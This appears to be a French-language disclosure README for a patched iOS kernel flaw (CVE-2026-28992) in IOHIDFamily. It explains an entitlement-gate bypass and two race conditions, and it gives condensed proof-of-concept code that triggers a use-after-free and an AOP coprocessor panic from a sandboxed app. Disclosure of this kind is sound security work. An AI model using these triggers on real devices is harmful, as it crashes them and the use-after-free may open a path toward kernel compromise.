
UAF et panic du coprocesseur AOP dans IOHIDEventServiceFastPathUserClient. Aucun entitlement requis, accessible depuis la sandbox d'une application.
CVE-2026-28992 | Auteur : Johnny Franks (@zeroxjf)
Composant : IOHIDFamily
Impact : Un attaquant peut être en mesure de provoquer l'arrêt inattendu d'une application
Description : Une vulnérabilité de corruption de mémoire a été corrigée grâce à un verrouillage amélioré.
— Contenu de sécurité Apple, iOS 26.5 et iPadOS 26.5
Les deux PoC provoquent un kernel panic et redémarrent les appareils concernés. Sauvegardez d'abord votre travail.
Deux conditions de course dans IOHIDEventServiceFastPathUserClient (kext IOHIDFamily). Aucun entitlement requis. Accessible depuis le sandbox d'une application normale.
Les deux vecteurs utilisent IOServiceOpen(service, task, 2, &conn). La porte d'ouverture sel0 vérifie FastPathHasEntitlement et FastPathMotionEventEntitlement dans l'OSDictionary fourni par l'appelant au lieu des indicateurs d'entitlement stockés lors de initWithTask ; une application sandboxée passe la porte en incluant ces clés dans la structure d'entrée.
// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}
// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}
// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
uint64_t args[2] = { 0, 1 };
IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}
Le chemin de fermeture (sel1) relâche l'état du provider et efface +0x109 sans verrou. copyEvent (sel2) vérifie un autre indicateur (+0x108) sous un verrou par connexion, puis appelle le provider. Plusieurs connexions au même provider impliquent que la fermeture et copyEvent opèrent dans des domaines de verrouillage différents sur des objets partagés côté provider.
// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// opener threads: continuous close → reopen
while (!stop) {
IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
// create + gate 16 probe connections
io_connect_t probes[16];
for (int i = 0; i < 16; i++) {
IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// destroy all probes — each fires async didTerminate → teardown
// teardown removes/frees provider-facing state while opener threads iterate
// provider-facing state via the open path
for (int i = 0; i < 16; i++)
mach_port_destroy(mach_task_self(), probes[i]);
usleep(80000); // 80ms race window
}
mach_port_destroy déclenche didTerminate de manière asynchrone → fermeture/démontage, non synchronisé avec les chemins d'ouverture sel0 concurrents sur d'autres connexions. Cela sature également la mailbox des providers adossés au SPU, déclenchant un timeout du watchdog AOP.
| Chemin | Description |
|---|
UAFPoc/ | Application iOS — déclenche l'UAF (défaut de tag MTE sur A17+, abort de données sur pré-A17) |
AOPPanicPoc/ | Application iOS — déclenche le panic du coprocesseur AOP via la saturation de la mailbox du SPU |
panic-logs/mte-tag-fault.ips | Défaut de vérification de tag du noyau — iPhone 17 Pro Max (A19 Pro, MTE+PAC) |
panic-logs/ipad-data-abort.ips | Abort de données du noyau — iPad Pro 12,9 pouces 2e génération (A10X, sans MTE/PAC) |
panic-logs/aop-panic.ips | Panic du coprocesseur AOP — iPhone 17 Pro Max (débordement de la mailbox du SPU) |